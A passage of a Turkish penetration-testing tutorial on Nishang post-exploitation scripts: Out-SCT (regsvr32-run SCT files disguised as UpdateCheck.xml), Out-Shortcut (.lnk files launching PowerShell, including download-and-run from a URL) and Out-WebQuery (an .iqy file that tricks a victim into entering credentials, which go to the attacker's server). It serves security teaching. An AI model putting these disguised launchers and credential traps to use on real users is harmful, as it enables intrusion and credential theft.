Bu script, PowerShell komut dosyalarını ve komutlarını çalıştırmak için regsvr32.exe ile birlikte kullanılabilecek bir SCT dosyası oluşturur. Oluşturulan dosyanın varsayılan adı UpdateCheck.xml’dir. Bu dosyanın bir web sunucusunda barındırılması gerekmektedir.

Bir dosya oluşturulup, bu dosya ile birlikte bir powershell komutunun çalışması için, “Payload” parametresi kullanılır.

Out-SCT -Payload “Get-Process”

Eğer bir URL adresinde bulunan script dosyasının indirilip çalıştırılması istenirse, “PayloadURL” parametresi kullanılır.

Out-SCT -PayloadURL -Arguments Get-Information

Bu script için diğer parametreler aşağıdaki gibidir.

  • Arguments: Powershell scriptinin çalıştırılması için argüman belirtir.
  • OutputPath: Varsayılan olarak aynı dizine “UpdateCheck.xml” ismiyle çıkartılan dosyanın, isteğe bağlı olarak çıkarılacağı yolu belirtir.
Nishang ile Windows Post Exploitation - Part 2
Resim 2.5.8.1 – Out-SCT
Nishang ile Windows Post Exploitation - Part 2
Resim 2.5.8.2 – UpdateCheck.xml

2.5.9 Out-Shortcut

Bu script powershell komutlarını ve komut dosyalarını başlatan “.lnk” uzantılı bir kısayol oluşturur. Kısayol açıldığında, önceden tanımlanmış powershell scriptleri veya komutları çalışır. Bu kısayol powershell.exe uygulamasına bağlıdır. Bu script ile oluşturulacak kısayol için bir kısayol tuşu da oluşturulabilir. Ayrıca, kısayolun simgesi de ayarlanabilir.

Bir dosya oluşturulup bu dosya ile birlikte bir powershell komutunun çalışması için, “Payload” parametresi kullanılır.

Out-Shortcut -Payload “Get-Process”

Eğer bir URL adresinde bulunan script dosyasının indirilip çalıştırılması istenirse, “PayloadURL” parametresi kullanılır. Out-Shortcut -PayloadURL -Arguments Get-Information. Bu script için diğer parametreler aşağıdaki gibidir.

Arguments: Powershell scriptinin çalıştırılması için argüman belirtir.

OutputPath: Varsayılan olarak aynı dizine “Server.lnk” ismiyle çıkartılan dosyanın, isteğe bağlı olarak çıkarılacağı yolu belirtir.

HotKey: Kısayol için atanacak tuşu belirler. Varsayılan tuş F5 tuşudur.

Icon: Oluşturulacak kısayola bir ikon atar. Varsayılan ikon “explorer.exe”dir.

Nishang ile Windows Post Exploitation - Part 2
Resim 2.5.9.1 – Out-Shortcut

 Out-WebQuery

Bu script “.iqy” uzantılı bir Web Query oluşturur. Kurban bilgisayarda bu dosya çalıştırıldığında bir Excel penceresi açılır ve kullanıcıya veri bağlantısını etkinleştirmek için bir uyarı penceresi açılır. Kurban izin verirse, bir kimlik doğrulama penceresi açılır. Kurban tarafından girilen kimlik bilgileri, belirtilen uzak sunucuya gönderilir. Saldırganın bu bilgileri elde etmesi için bir web sunucusu başlatması gerekir.

Bu script için parametreler aşağıda açıklanmıştır:

  • URL: İstekleri kaydeden saldırgan web sunucusuna ait olan URL adresi
  • Message: Veri bağlantısını etkinleştirdikten sonra kurbana gösterilecek olan mesaj
  • OutputPath: Varsayılan olarak aynı dizine “QueryData.iqy” ismiyle çıkartılan dosyanın, isteğe bağlı olarak çıkarılacağı yolu belirtir.
Nishang ile Windows Post Exploitation - Part 2
Resim 2.5.10.1 – Out-WebQuery
Nishang ile Windows Post Exploitation - Part 2
Resim 2.5.10.2 – Excel ile Açılan .iqy Uzantılı Dosya
Resim 2.5.10.3 – Kimlik Bilgilerini Almak için Kullanılan Yakalama Scripti
Nishang ile Windows Post Exploitation - Part 2
Resim 2.5.10.4 – Kimlik Doğrulama Sonucu Kullanıcı Adı ve Parolasının Alınması

Yazar: Ömer Kepenek